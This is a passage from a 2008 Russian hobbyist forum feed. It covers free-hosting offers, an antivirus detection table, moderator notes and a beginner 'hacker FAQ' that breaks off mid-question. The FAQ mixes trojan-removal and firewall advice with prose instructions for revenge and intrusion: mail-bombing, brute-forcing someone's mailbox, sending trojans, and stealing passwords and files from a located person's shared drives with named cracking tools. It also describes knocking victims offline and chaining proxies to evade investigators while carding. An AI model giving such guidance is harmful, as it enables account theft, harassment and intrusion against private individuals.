популярного форума phpbb вам нужно в разделе &quot;Fantastico&quot; вашей панели управления выбрать нужный скрипт (phpbb) и указать папку на сервере куда требуется его установить. ВСЕ! Никаких мануалов, даже дистрибутив качать не надо - просто нажать кнопку и форум или CMS установится и настроится сама! <br />Еще куча разных возможностей присущих только платным хостингам (и то не всем), даже не перечислить все. Я своим глазам не поверил и решил лично потестировать. Мои выводы - это работает! Скорость достойная, все сервисы в наличии, cpanel и тех. поддержка. Бесплатно! От нас надо только установить блок рекламы Google и спокойно пользоваться лучшим в рунете бесплатным хостингом! </p> <p><strong>Хостинг &quot;для своих&quot;</strong> </p> <p>Владельцам сайтов о музыке предлагается хостинг от Pesni.Ru &amp; Mp3.Ru. Вам представляется возможность получить бесплатный хостиг с неограниченным местом под вашу официальную страницу и бесплатный домен третьего уровня (--). Правда есть одно условие: вы должны быть или музыкантом, или вебмастером одной из групп или исполниетелем/автором. Другими словами: хостинг предоставляется только музыкальным группам и авторам/исполнителям. Hеофициальным сайтам групп место НЕ предоставляется!!!. В вашем распоряжении: SSI, CGI, неограниченное место под сайт и мp3, а также помощь в раскрутке от pesni.ru <br />Владельцы сайтов, имеющих какое-то отношение к &quot;тяжелой&quot; музыке, могут получить хостинг от <a href="http://musica.mustdie.ru" rel="nofollow" target="_blank">http://musica.mustdie.ru</a> (пять мегабайт, CGI-скрипты, адрес -- ) всего лишь за кнопку 88х31 на главной странице. Причем размещение кнопки компенсируется не только бесплатным хостингом, но и некоторой раскруткой на сайте musica.mustdie.ru, который весьма посещаем. <br />Максим Мошков организовал сайт Music.lib.ru для публикации авторских МРЗ-треков и текстов песен. <br />Владельцы <a href="http://www.pesni.ru/hosting.shtml" rel="nofollow" target="_blank">http://www.pesni.ru/hosting.shtml</a> могут попробовать получить 20 мегабайт, СGI и SSI от hobby.ru. На проекте Хобби.pу, спонсируемом компанией &quot;Зенон&quot;, размещено совсем немного сайтов, так как этой чести удостаиваются лишь, по мнению владельцев проекта, самые лучшие ресурсы. Соответственно, в каталоге проекта практически невозможно затеряться. К тому же вы получите полноценную техподдержку, как при платном хостинге. <br />Flash-ориентированные сайты будут себя хорошо чувствовать на FlashMaster.ru (10 Мб под сайт и 10 - под почту, РНР-скрипты и SQL, а также все сервисы, которые могут понадобиться профессиональному Flash-разработчику). Проекты на автомобильную тематику могут рассчитывать на 2 мегабайта от wwwautovista.ru либо получить профессиональный хостинг (т.е. РНР, CGI-скрипты, МуSQL, SSI, необходимое вашему сайту дисковое пространство), отправив заявку по адресу hosting@samakin.соm . <br />Любители аниме могут захостить сайт на <a href="http://www.otaku.org.ua/," rel="nofollow" target="_blank">http://www.otaku.org.ua/,</a> здесь дают 15 МБ места, perl, ssi, .htpasswd/.htaccess и ограничение по трафику - не более 1000Mb в месяц. <br />Хорошее предложение для сайтов эротической тематики: <a href="http://host.erolib.ru/" rel="nofollow" target="_blank">http://host.erolib.ru/</a> дает профессиональный сервис, 250 МБ, неограниченный трафик всего за один баннер. Обещают, как всегда, что будет все работать быстро и качественно, а также, что вас не удалят. Чтож, смотрится неплохо... <br />Жителям Новгорода предоставляют 10МБ на диске, SSI и FTP доступ да еще и без рекламы! Новгородцы бегом на <a href="http://home.novgorod.ru/!" rel="nofollow" target="_blank">http://home.novgorod.ru/!</a></p> mybb@mybb.ru (admin) Sun, 26 Oct 2008 23:37:15 +0300 http://dinamit.mybb.forum/viewtopic.php?pid=26#p26 http://dinamit.mybb.forum/viewtopic.php?pid=25#p25 <p><strong>Вот за 28.01.2006</strong></p> <p>&quot;Тест проводится на машине Intel Pentium 4 2800Mhz, 512MB DDRAM с установленной Microsoft Windows XP Professional SP1.<br />Тестовая база вирусов насчитывала 113334 вируса (коллекция VS2000, сформированная совместно антивирусными компаниями Kaspersky, F-Prot, Nod32, Dr.Web и McAfee)<br />Все вирусные экземпляры были распакованы (не было файлов zip, rar, ace и т.д.) и имеют корректные расширения файлов согласно специальной программе Renexts и были уникальны контрольной сумме (checksum32).&quot;</p> <p># Kaspersky Personal Pro version 5.0.390<br /><span style="color: red">#Kaspersky 2006 beta version 6.0.15.222- 99.46% </span>&#160; <br /># F-Secure Anti-Virus 2006 version 6.10.330 - 96.92%<br /># CyberScrub AntiVirus version 1.0 - 96.62%<br /># eScan Virus Control version 2.6.522.9 - 95.21%<br /># McAfee VirusScan version 10.0.27 - 94.80%<br /># BitDefender Anti-Virus version 9 - 90.75%<br /># Eset Nod32 version 2.50.41 - 88.79%<br /># H+BEDV AntiVir Personal version 6.32.00.51 - 86.55%<br /># Norton Anti-Virus version 2006 - 85.17%<br /># FRISK F-Prot Anti-Virus version 3.16d - 84.96%<br /># Dr. Web version 4.33 - 84.68%<br /># Panda Titanium Anti-Virus 2006 version 5.01.00 - 82.02%<br /># Virus Chaser version 5.0a - 79.37%<br /># Grisoft AVG version 7.1.371 - 77.97%<br /># Trend Micro PC-Cillin 2006 version 14.00.1341 - 77.84%<br /># Alwil avast! version 4.6.744 - 76.93%<br /># UNA Anti-Virus version 1.83 - 69.83%<br /># Norman Anti-Virus version 5.83.07 - 69.13%<br /># Sophos Sweep version 3.99 - 67.76%<br /># VBA32 version 3.10.5 - 63.36% New!<br /># ClamWin version 0.87.1 - 48.45%<br /># Computer Associates E-Trust Antivirus version 7.0.6.7 - 47.84%<br /># ZoneAlarm (VET Antivirus) version 6.1.737.000 - 47.70%<br /># AhnLab V3Pro 2004 - 44.16%<br /># Quick Heal Anti-Virus version 8.00 - 33.76%</p> <p>Потом найду и добавлю за 2007-2008!Или кто найдёт,пишите</p> mybb@mybb.ru (admin) Sun, 26 Oct 2008 01:02:50 +0400 http://dinamit.mybb.forum/viewtopic.php?pid=25#p25 http://dinamit.mybb.forum/viewtopic.php?pid=23#p23 <p>ой, Саша, я согласна с тобой!!! ВОБЩЕ, КАК ВЫ ДОСТАЛИ УЖЕ, СПАМЕРЫ ДОЛБАНЫЕ!!!!!!!!!!!! :mad:</p> <p><span style="color: red">НЕ ФЛУДИТЬ!!!сама лучше бы выложила чёт полезное!на первый раз сообщение не удаляю,читай Важный раздел!</span>//admin</p> mybb@mybb.ru (Катюша) Sat, 25 Oct 2008 21:44:23 +0400 http://dinamit.mybb.forum/viewtopic.php?pid=23#p23 http://dinamit.mybb.forum/viewtopic.php?pid=22#p22 <p>Думаю,что описывать верхние кнопки при создании сообщения не стоит,т.к. при наведении на них описываются сами действия этой кнопки!Начну с кнопок-уважения(спасибок),вы их можете увидеть в правом нижнем углу,есть &quot;0&quot;(эт когда вы видите сообщение своё или чужое)если вы нажмёте на него,то тем самым поможете юзеру по немногу переходить на новый ранг и скажете спасибо ему(это как бы тоже уважение)оно отображается в левой панели юзера!На этом пока всё,если что не понятно,то <strong>пишите здесь!</strong> :rolleyes:</p> mybb@mybb.ru (admin) Sat, 25 Oct 2008 19:13:08 +0400 http://dinamit.mybb.forum/viewtopic.php?pid=22#p22 http://dinamit.mybb.forum/viewtopic.php?pid=18#p18 <p>Давайте сюда выкладывать СВОИ шедевры или же просто юбы!<br />Их можно залить через радикал)я как установлю се фотошоп,так и начну вылаживать!</p> mybb@mybb.ru (admin) Sat, 25 Oct 2008 03:58:45 +0400 http://dinamit.mybb.forum/viewtopic.php?pid=18#p18 http://dinamit.mybb.forum/viewtopic.php?pid=17#p17 <p>Короч хакеры- самые крутые,умные,и рульные чуваки)) Вот)&#160; 8-)</p> <p><span style="color: red">//это не совсем по теме!,Читай &quot;Важный раздел&quot;!</span>//admin</p> mybb@mybb.ru (Стаська) Sat, 25 Oct 2008 03:56:07 +0400 http://dinamit.mybb.forum/viewtopic.php?pid=17#p17 http://dinamit.mybb.forum/viewtopic.php?pid=16#p16 <p>FAQ для начинающих Хакеров</p> <p>1. Где можно скачать крякер инета?<br />Да на каждом углу, например<br /><a href="http://www.yandex.ru/yandsearch?text=крякер+интернет." rel="nofollow" target="_blank">http://www.yandex.ru/yandsearch?text=крякер+интернет.</a><br />Когда ты им воспользуешься, кто-то скажет тебе спасибо за бесплатный интернет, а ты получишь много счетов, если платишь за инет.</p> <p>2. Что такое троян?<br />Троян - это то что ты не когда не полюбиш если его впарили тебе, это программа, которая в фоновом режиме производит некоторую деятельность, результаты которой вряд ли понравятся юзеру. Например, похищение его паролей, управление файловой системой или банальное открывание CD-ROM'а. Классический пример распространения трояна - крякер инета. Трояны делятся на похищающие пароли и дающие полный контроль над системой (backdoor).</p> <p>3. Каков принцип работы систем удаленного администрирования (backdoor)?<br />Большинство троянов состоят из клиента и сервера, иногда клиентом может<br />служить любой телнет клиент. Сервер должен работать на машине жертвы, он как<br />правило, открывает на зараженной машине порт и ждет подключения хакера. Тот, с<br />помощью клиента подключается к открытому трояном порту и подает серверной части команды, которая их исполняет: передает файлы, открывает CD-Rom, выключает компьтер...</p> <p>4. Что такое порт?<br />Порт - это идентификатор определённого сервиса, которым пользуются программы соответствующего назначения. Например, 80 по умолчанию - http, 21 - ftp. Это нематериальная вещь, просто идентификатор, пакеты с которым будут передаваться процессу, 'слушающему' этот порт.</p> <p>5. Когда я в инете у меня вдруг начинает открывается CD-ROM, запускаются приложения, флоппик пытается музицировать, появляются странные сообщения. В чем дело? Видимо некто, возомнивший себя кул хакером, а может просто твой приятель, подсунул тебе трояна. Давно тебе по почте приходили бесплатные картинки с порносайтов или предложения заработать 1000$ ничего не делая с прикрепленными файлами? А может, ты скачал крякер инета или другую супер пупер мегакульную прогу? Ты, конечно, больше не будешь их открывать? Тогда приступаем к лечению(уничтожению =)).</p> <p>В Windows есть такая отвратительная (потому что сложная для новичков) или рулезная (по той же причине Well) штука, как РЕЕСТР. Ты про него уже по-любому слышал. Реестр состоит из РАЗДЕЛОВ и СТРОК (все строчки с текстовой информацией разбиты по своим разделам). Строка типа &quot;HKEY_LOCAL_MACHINE</p> <p>SOFTWAREMicrosoftWindowsCurrentVersionRun&quot; - типичное название раздела реестра. В этом разделе содержится часть программ, которые автоматически запускаются при старте твоего Маздая. Есть еще папка &quot;Пуск-Программы-Автозапуск&quot; и файл autoexec.bat (config.sys), но, скорее всего, там ты никаких ЛЕВЫХ программ (в дальнейшем ТРОЯНОВ) не обнаружишь, так как туда записываются только особо изощренные Трояны, коих, по крайней мере, я еще не обнаруживал Well. Для просмотра папки АВТОЗАГРУЗКА достаточно нажать кнопку ПУСК и зайти в ПРОГРАММЫ, для просмотра файлов config.sys и autoexec.bat достаточно запустить notepad. А вот для просмотра РЕЕСТРА нужна программа c:windowsRegEdit.exe, которая может показывать эти разделы и строчки.<br />Как я уже сказал, большинство Троянов записывает себя в HKEY_LOCAL_MACHINE</p> <p>SOFTWAREMicrosoftWindowsCurrentVersionRun, но, помимо этого, существует еще масса мест в реестре, куда следовало бы заглянуть. Например: HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows</p> <p>CurrentVersionRun<br />HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows</p> <p>CurrentVersionRunOnce<br />HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows</p> <p>CurrentVersionRunservices<br />HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows</p> <p>CurrentVersionRunservicesOnce<br />HKEY_USERS.DefaultSOFTWAREMicrosoftWindows</p> <p>CurrentVersionRun<br />HKEY_USERS.DefaultSOFTWAREMicrosoftWindows</p> <p>CurrentVersionRunOnce<br />HKEY_USERS.DefaultSOFTWAREMicrosoftWindows</p> <p>CurrentVersionRunservices<br />HKEY_USERS.DefaultSOFTWAREMicrosoftWindows</p> <p>CurrentVersionRunservicesOnce<br />Для того чтобы не метаться в диких муках по всему вышеперечисленному вручную, достаточно запустить regedit /e tmp1.txt ИМЯ РАЗДЕЛА, в результате чего после каждого запуска заново будет создан файл tmp1.txt с содержимым<br />раздела реестра... Посмотрев туда, нужно удалить все &quot;Строковые параметры&quot;, запускающие неизвестные программы из соответствующего раздела реестра! Например, довольно популярный Троян &quot;Naebi Soseda&quot; записывает себя как с:windowsmswinrun.exe, c:windowstempmswinrun.exe.<br />Другой Троян - GF - записывает себя как c:windowswindll.exe, c:windowssystemwindll.exe. Разберем Троян Stealth наших друганов - KurT'a и Doc'a. Вот что они сами говорят про него: &quot;Как и большинство подобных программ, наша после первого запуска копирует себя в директорию, где живут Винды, под каким-нибудь неприметным именем. В то же время она добавляет себя в один из разделов регистра, который обеспечивает ей загрузку при каждом старте Виндов. Для обеспечения прикрытия свой легенды (т.е. чем ее представили жертве), она может выдать какое-нибудь сообщение, типа &quot;Required DLL MFC50.DLL not found. The program will now terminate&quot;, что в переводе с буржуйского значит: &quot;Требуемая библиотечка MFC50.DLL не найдена. Программа завершит свою работу.&quot;<br />Все лишние программы из реестра, особенно те, которые не устанавливались специально, нужно удалить. Тут будь осторожен, так как со временем на компьютер устанавливается большое количество программ, и многие из них записывают себя по мере надобности в реестр, т.е. удаление надо производить только с особой тщательностью и аккуратностью. Боишься удалять? Тогда на фиг закрой реестр и больше туда не лезь. Да не, это я шутю, это юмор такой - на самом деле просто переименуй имя программы, например &quot;с:program filesicqicq.exe&quot; в &quot;с:program filesicqnull&quot; (чтобы проверить, изменилось<br />ли что-то от того, что эта программа не запускается). Подраздел SOFTWAREMicrosoftWindowsCurrentVersionRun есть не только в разделе HKEY LOCAL MACHINE, а еще и в HKEY USERS (HKEY USERS.Default или HKEY USERS. Твой логин при старте). Поэтому также не забудь поискать разделы типа &quot;Run&quot; (&quot;RunOnce&quot;, &quot;Run...&quot;) еще в 2 главных разделах. Если Троян все же запустился, то ты явным образом можешь его увидеть и выключить, нажав Ctrl+Alt+Del. Однако, даже если нажав Ctrl+Alt+Del ты ничего не обнаружил, радоваться еще рано. Полную информацию о запущенных программах в Windows можно увидеть, запустив утилиту XRun. Также подойдет утилита CTask , выполняющая аналогичные действия. Вот список типичных приложений, которые ты там можешь увидеть: KERNEL32.DLL, MSGSRV32.EXE, MPREXE.EXE, MMTASK.TSK, VSHWIN32.EXE, EXPLORER.EXE, SYSTRAY.EXE, INTERNAT.EXE, LOADWC.EXE, RUNDLL.EXE, STARTPG.EXE, RNAAPP.EXE, TAPIEXE.EXE, SPOOL32.EXE, WSASRV.EXE . Запоминать их все, конечно, не нужно (хотя можешь, тебе это не помешает), и если ты чего-нибудь из этого списка не увидишь - то это не значит что твой Маздай установился не полностью. Здесь просто собрано большинство системных программ, используемых Маздаями. А вот если увидишь что-то новое в реестре, не надо сразу бросаться удалять все подряд и форматировать винт, а следует спокойно разобраться с этой программой - откуда она у тебя и что делает. Помнишь такую старую поговорку - семь раз отмерь, один раз отрежь? Вот тут все так же: семь раз прикинь, один потри. Если же в реестре ничего нет, то следует пробежаться по конфигурационным файлам Windows, таким как win.ini и system.ini. Win.ini и system.ini находятся в каталоге c:windows, самый простой способ запустить программу оттуда - это написать &quot;run=путьтроян.exe&quot; или &quot;load=программа&quot;. Хотя запись сюда производится довольно редко, т.к. здесь довольно просто обнаружить что-то подозрительное, нежели, например, в реестре. Если вышеизложенные способы ничего не дали, а у тебя все-таки осталась навязчивая мысль о том, что ты подвергся заражению - то тогда возьми любой сканер портов, зайди в Инет и проскань свой IP (127.0.0.1 - одно из обозначений твоего компьютера в сети) на предмет &quot;подозрительных&quot; портов... Если у тебя открыты нестандартные порты - то есть повод для разбирательств.<br />Ниже приводится список &quot;стандартных&quot; портов, которые зачастую могут использоваться в твоей системе:<br />21 - FTP<br />23 - Telnet<br />80 - HTTP<br />53 - DNS<br />139 - NetBios<br />1027 - ICQ<br />Если у тебя на компьютере хранятся пусковые коды ракет Пентагона или какая-то очень личная информация, и ты ОЧЕНЬ беспокоишься о ее безопасности - скачай себе FireWall (такая спец. прога, ею можно порты себе перекрыть или чего-нибудь еще сделать). После некоторой головной боли в ее настройке ты сможешь наблюдать, кто к какому порту хочет приконнектиться...<br />Очень хороша в этом случае программа ATGuard - с помощью этой утилиты ты в любой момент сможешь посмотреть, кто к тебе подключен, какое приложение для этого используется, на каком порту идет передача и какой IP-адpес подключившегося. В крайнем случае с ее помощью ты всегда сможешь разорвать соединение или включить FireWall. Теперь, если ты обнаружил подозрительное приложение, которое &quot;висит&quot; на каком-нибудь порту, советую его проверить.</p> <p>Ниже идет несколько простых правил, соблюдая которые, ты можешь не беспокоиться о своей безопасности:<br />1. Скачивать программы можно ТОЛЬКО из надежных источников и как можно меньше со всяческих якобы &quot;хакерских&quot; сайтов... Львиная доля Троянов приходится именно на файлы с этих серверов.<br />2. Если ты скачал какую-то программу - ОБЯЗАТЕЛЬНО проверь ее на наличие вирусов. Наилучшим вариантом для тебя будет установить на компьютер антивирусный пакет AVP, разработанный Касперским, или же DrWeb.<br />3. Никогда не запускай программы, пришедшие к тебе по E-MAIL, т.к. очень часто всяческие шутники и иже с ними cool haxorы рассылают так программы-приколы. Поверь, Троян - это еще не худший вариант беды. Вот пришлют тебе какой-нибудь порнухи, и растеряешь ты всю свою бдительность.<br />4. В качестве паролей всегда используй замысловатые наборы символов, типа Jqp2FQs, и по возможности старайся их вводить в окне терминала вручную - это обезоружит Троянов, отсылающих пассворды на чей-то E-MAIL адрес.<br />5. Будь бдителен.<br />Если ты не следовал этим правилам, и у тебя украли твои пароли, то СРАЗУ же пошли письмо в офис провайдера с просьбой о смене пароля! Или позвони в службу поддержки.<br />Кстати: есть такие Трояны, что обнаружить их почти невозможно! (таким Трояном является EPS I и II) Разве что только через At-Guard посмотреть на используемые порты. На данный момент я владею Трояном типа Mail Sender, который использует RING0 - это означает, что его не видно ни в реестре, ни в памяти... А скоро, возможно, автор научит его обходить и At-Guard. Лично у меня большая коллекция Троянов, все я тестировал на своей машине. Я встречал даже такие, которые удаляют At-Guard с системы или ставят запрет на просмотр скрытых процессов (просмотр возможен только DOS-yтилитами).<br />Но самое главное - за всю жизнь я не встретил ни одного Трояна, от которого не смог бы избавиться. Так что будь аккуратен, пользуйся презервативом, переходи улицу на зеленый свет, ну а если уж посадил Трояна - лечись и борись с ними! Успехов тебе в этом нелегком деле - борьбе с конями компьютерного фронта.</p> <p>6. Что такое реестр Windows и как вносить в него изменения?<br />Реестр (registry) - это база данных, в которой Windows и многие приложения<br />под Windows хранят свои настройки, пароли, регистрационную информацию. Он пришел на смену ini файлам windows 3.11, хотя ini файлы используются и до сих<br />пор. Реестр имеет иерархическую структуру (как дерево каталогов, только в место<br />каталогов - ключи) и содержится в файлах c:windowssystem.dat и c:windowsuser.dat в упакованном виде. Редактировать и просматривать реестр<br />позволяет программа regedit, входящая в дистрибутив windows.</p> <p>7. Мои счета за инет стали непомерно большими. Деньги с моего счета исчезают непомерно быстро. Видимо кто-то похитил у тебя логин/пароль, которые выделил тебе провайдер и пользуется инетом за твой счет. Первое что надо сделать, это сменить пароль.Далее нужно поискать троянов в системе. Также очень часто пароли похищаются, если диск C: сделан общим хотя бы для чтения. Если твоя система Windows 95/98/ME и твой диск С: доступен через сеть даже под паролем из 20 символов, то немедленно закрой к ним доступ. Поскольку Windows ограничивает длину пароля общих ресурсов 8 символами и позволяет подобрать этот пароль за 5 минут из любой точки земного шара.</p> <p>8. Что надо делать, чтобы это не повторилось?<br />Есть несколько простых правил, выполняя которые ты обезопасишь свой<br />workstation почти на 100%:<br />1. Никогда не расшаривай диски целиком, даже под паролем, особенно тот диск где стоит директория Windows;<br />2. Никогда не запускай прикрепленные к письмам файлы, если не уверен в<br />отправителе, а даже если уверен, то все равно проверь свежим антивирусом;<br />3. Никогда не кидайся сразу смотреть фотку твоей новой подружки, которую она<br />прислала тебе по асе. Сначала сохрани ее на диск и посмотри внимательно на имя<br />файла. Он случайно не исполняемый?;<br />4. Перед тем как запустить прогу, скачанную из инета проверь ее<br />свежим антивирусом, если она кажется тебе чем-то подозрительной, не запускай;<br />5. Поставь firewall, например Personal firewall от дяди Нортона, он выявит даже<br />неизвестные твоему антивирусу трояны;<br />6. И, естественно, никого не подпускай к своему компу, ведь стянуть настройки<br />dial-up'а имея доступ к компу дело пары секунд.</p> <p>9. Что такое firewall?<br />Это программный либо программно-аппаратный комплекс осуществляющий<br />фильтрацию входящих/исходящих пакетов. Позволяет ограничить доступ к портам/адресам защищаемой машины/сети.</p> <p>10. Что можно узнать по e-mail о его обладателе?<br />Все что угодно, но боюсь что только методами социальной инженерии. Например,<br />просто спросить. Пишешь письмо либо ловишь в асе и, притворяясь лицом<br />противоположного пола, предлагаешь познакомиться. Скорее всего сможешь узнать<br />все, что угодно, если у тебя найдется хоть пара байтов актерского мастерства.</p> <p>11. На днях мне пришло письмо с оскорблениями/трояном, как можно отомстить?<br />Можно загадить ящик несколькими тысячами писем с помощью программ типа<br />avalanche или подписать его на все известные тебе подписки, также стоит попробовать послать троянца по почте или асе. Можно попробовать лишить гада ящика с помощью социальной инженерии. Например, пожаловаться службе поддержки/админу, что тебе прислали вирус/троян. Также всегда есть шанс лишить его ящика подобрав пароль с помощью remote password cracker'ов типа Brutus либо прикинувшись владельцем адреса и симулировав амнезию (иногда возможно угадать ответ на секретный вопрос, если сервис бесплатный). По e-mail есть шанс найти UIN отправителя и зафлудить ему асю программами типа icq flood. Также можно попытаться определить ip отправителя и посмотреть на его машину.</p> <p>12. Что такое ip-адрес?<br />Это уникальное четырехбайтовое значение, присваиваемое каждой машине,<br />подключенной к интернету. Как правило они записываются как четыре десятичных<br />числа, разделенных точками, по одному числу на байт. Например 192.168.0.1.<br />ip-адрес не всегда постоянен, например у пользователей, подключающихся к инету<br />по коммутируемой линии меняется, если только обратное не указано в договоре с<br />провайдером, у пользователей подключенных к локальной сети он, как<br />правило,постоянен. Свой ip можно узнать, подключившись к инету с помощью программы winipcfg, входящей в дистрибутив windows.</p> <p>13. Что можно узнать о человеке, зная его ip?<br />В принципе все что угодно, но гарантировано - только провайдера и город.<br />Начать стоит с сервиса whois, например <a href="http://www.ripe.net/perl/whois" rel="nofollow" target="_blank">http://www.ripe.net/perl/whois</a> , там,<br />скорее всего есть информация о провайдере, в контактном адресе провайдера<br />содержится город. Если у него на машине что-нить расшарено и то есть шанс найти<br />там телефон/адрес, либо стянут логин/пароль прова и найти требуемую информацию на страничке статистики.</p> <p>14. На днях мне пришло письмо с оскорблениями/трояном, как определить ip отправителя? Если у тебя сохранился текст письма, шанс есть, причем обратно<br />пропорциональный интеллекту отправителя. Надо посмотреть почтовые заголовки<br />письма (headers, RFC-882). В самой последней строке вида<br />Received: from ppp88...ru ([212.164.xxx.xxx] hello =)<br />и есть ip. НО:<br />1. старые версии smtp могли не прописывать ip отправителя;<br />2. он мог пользоваться web-интерфейсом бесплатного почтового сервиса. Некоторые<br />из них прописывают ip машины, с которой отправлено письмо в заголовках, но это<br />можно легко обойти воспользовавшись анонимным прокси.<br />3. он мог пользоваться анонимным remailer'ом, который не пишет заголовков<br />4. например, mail-bomber avalanche подделывает заголовки так, что отправитель<br />становится как бы промежуточным хостом на пути письма.<br />-----------------------------------------------------------------------------------------------------------------------------<br />FAQ для начинающих Хакеров!</p> <p><strong>1. Что такое прокси-сервер (proxy)?</strong><br />Proxy - Сервера<br />Некий тип занимался кардингом, и все было бы хорошо, но это чудо даже не позаботилось о своей безопасности, наивно полагая, что, используя Proxy сервер своего провайдера, он обезопасит себя от всех спецслужб и прочив казлов типа...=) Общеизвестен тот фактт, что любой PROXY сервер ведет логи всех действий, совершаемых пользователем. И если вдруг у спецслужб возникнут подозрения на то, что ты совершал неправомерные действия, то они имеют право запросить у провайдера всю информацию о тебе и твоих перемещениях в Сети твоего брата или тебя =). Вот тут-то тебя и вздрюкнут =) И не надо думать, что ты крутой, что IP еще ничего не говорит. Все он говорит, даже твой домашний адрес. Но об этом мы расскажемкак-нибудь в другой раз, а пока разберемся в этих злосчастных proxy-серверах.</p> <p><strong>2. Как скрыть свой реальный IP адрес?</strong><br />Все прокси серверы делятся на две большие группы, это transparent (прозрачные) и no transparent (не прозрачные). Если ты используешь Transparent сервер, то не надейся на то, что твой реальный IP адрес никто не раскроет! При запросе такой Proxy cервер выдаст всю необходимую информацию о тебе. А вот при использования no transparent PROXY твой реальный IP адрес врагу<br />узнать не удастся! И он будет наивно полагать, что ты находишься гдето во Франции или сделаем подальше в США, то есть будет видеть лишь физическое положение самого Proxy сервера, но не тебя. Если ты не уверен в том, что тебя может спасти один анонимный прокси сервер, то можешь использовать последовательность<br />проксей: <a href="http://www.putin.ru/" rel="nofollow" target="_blank">http://www.putin.ru/</a><br />http://proxy1:port/http://www.putin.ru/<br />http://proxy2:port/http://www.putin.ru/<br />(учти, что не все прокси могут работать таким образом). В этом случае ты связываешься с нужным хостом, проходя через целую<br />цепочку проки серверов. И если все они no transparent, то отследить тебя будет практически невозможно. Этот метод очень удобен для чатов, гостевых книг и досок обьявлений. В случае с чатом твоя легенда будет зависит от выбранного Proxy сервера. А то часто зайдет какой-нибудь крендель с финским IP-шником и начинает рассказывать, как у него тут жарко, да еще к тому же и носороги по улицам ходить мешают и в море акул немеренно. Все в недоумении. Но знающие люди сразу просекают, что этот баклан через прокси залез. Вобщем, сам себя сдал. Well<br /> </p> <p><strong>3. Как ускорить получение информации в Интернет?</strong><br />На PROXY серверах хранится большое количество динамически изменяющейся информации с серверов Интернет - это страницы, графика, файлы и т.п. Если ты зашел через прокси, залез на сайт с порнухой, насмотрелся картинок, а после тебя кто-нибудь другой из пользователей PROXY сервера полез на этот же сайт, то второму человеку повезло. Прокси сервер кеширует все, что через него проходит, динамически обновляя свой кеш. Следовательно, второй юзер будет тащить все картинки уже с самого прокси сервера, а не с настоящего сайта, а значит, он получит более быстрый доступ к страницам. Но на этом все прелести и возможности использования proxy серверов не кончаются .<br /> </p> <p><strong>4. Как довести до инфаркта АДМИНА чата?</strong><br />Прошли те времена, когда www-чат был в диковинку. Когда-то там можно было творить все что угодно! Использовать HTML теги, писать ОГРОМЕННЫМИ буквами и делать другие гадости назло всем. Но самая хорошая вещь www-чатов жива и поныне. Если тебя выкинули из чата без права повторного входа, то тут лучше всего поможет смена PROXY сервера в настройках твоего браузера. Как только ты сменил себе прокси, то сможешь заново зайти в чат и, до того как тебя оттуда опять выкинет разьяренный Админ, ты успеешь выругаться матом с применением HTML Тегов 8-). 10 - 20 таких заходов, и Админ в Морге 8-]. Понимаю, что руками менять прокси - это не совсем удобно, но есть программки, делающие это автоматически.<br /> </p> <p><strong>5. Как настроить броузер для подключения к Proxy?</strong><br />Internet Explorer 4.x и выше Для настройки прокси сервера загрузите браузер, зайдите в &quot;Вид&quot; =&gt; &quot;Свойства обозревателя&quot;. Перед вами будет менюшка. Выберите закладку &quot;Соединение&quot;, выделите галочкой &quot;Подключаться к Интернету через прокси-сервер&quot;. Список серверов находиться ниже.Netscape Communicator 4.x и выше Для настройки прокси сервера загрузите браузер, зайдите в &quot;Правка&quot; =&gt; &quot;Настройка&quot;. Перед вами будет менюшка, как на рисунке справа (кликните мышкой для увеличения). Выберите категорию &quot;Дополнительные настройки&quot; =&gt; &quot;Прокси-сервер&quot;. Выберите &quot;Подключение через прокси-сервер&quot; и нажмите &quot;Настройка&quot;. Проверить свой прокси на предмет его полной анонимности можно в разделе Полезное. Если ты увидишь сообщение «Proxy server is detected!» - то это значит, что твой прокси не имеет защиты, и тебе будет предоставлена информация о твоем реальном IP адресе, как, впрочем, и об IP адресе прокси сервера, который ты используешь. Если же сообщение гласит «Proxy server is not detected» - то все в порядке!</p> <p><strong>6. Как узнать ip Васи Пупкина/Маши Пилюлькиной?</strong><br />Явным образом, по имени/фамилии/телефону/e-mail'у никак. Можно попробоватьнаписать ему письмо и, если он ответит, посмотреть ip в заголовке. Можно попытаться найти его асю (если он ей пользуется) по имени/фамилии/e-mail, а затем определить ip c помощью прог типа ICU.</p> <p><strong>7. Я узнал ip Васи Пупкина/Маши Пилюлькиной, что с ним можно сделать?</strong><br />Во-первых, можно проверить, нет ли у него расшареных ресурсов с помощью прог типа Essential Nettools или LANGuard Network Scanner. Если расшарены, то можно украсть пароли от ICQ/e-mail/shared resources/некоторых web-страниц, любые<br />документы, порнуху... В общем можно узнать много интересного. Если ресурс открыт на запись, то можно попробовать подсадить троянца. Если же ничего такого нет, то можно попытаться временно выкинуть его из сети с помощью прог класса nuker,<br />например, IGMP.</p> <p><strong>8. Как скрыть обратный адрес и ip, отправляя почту?</strong><br />Читай вопрос про определение ip c которого послано письмо.</p> <p><strong>9. Как получить доступ к общим ресурсам, зная ip?</strong><br />Для этого в Windows 9x, теоретически, надо установить службы:<br />Клиент для сетей Microsoft,Служба доступа к файлам и принтерам сетей Microsoft -<br />и в случае dial-up соединения поставить в его настройках галочку &quot;Войти в сеть&quot;, при этом подключение будет происходить существенно (до нескольких минут) дольше.Далее, есть два пути: чтобы работать через проводник достаточно выполнить чтобы работать с помощью других оболочек нужно выполнить команду net use x:&lt;имя ресурса&gt;<br />, то же можно проделать выбрав пункт 'Подключить сетевой диск' в папке 'Вся сеть', после чего с ресурсом можно работать как с локальным диском.</p> <p><strong>10. Я получил доступ к диску C:, какие пароли я теперь могу узнать?</strong><br />Все запоминаемые Windows пароли (расшареные ресурсы, dial-up, NT domain...) в файлах C:WINDOWS.pwl, естественно в зашифрованном виде, правда 50% пользователей имеют пустой пароль и расшифровывать ничего не приходится. Длы<br />расшифровки и просмотра используются программы типа Repwl или PWLHack. Всем известная ICQ хранит пароли в файлах &lt;2000b|2000a|NewDB|99b|...&gt;.dat, в зависимости от версии. Их содержимое вместе с паролем, контакт листом и прочей дребеденью легко извлекается прогой ICQr Information. Замечательный почтовый клиент The Bat! позволяет подсмотреть полный данные о почтовом аккаунте, если подсунуть ей чужой профиль и с помощью программы Open Pass посмотреть закрытый звездочками пароль, остальное она прочитает и расскажет сама. Кроме перечисленных, существует огромное количество сохраняющих пароли прог, это - самые массовые.</p> <p><strong>11. Как взломать www сервер, зная его ip? (thx to Apis.net)</strong><br />Эта задача уже 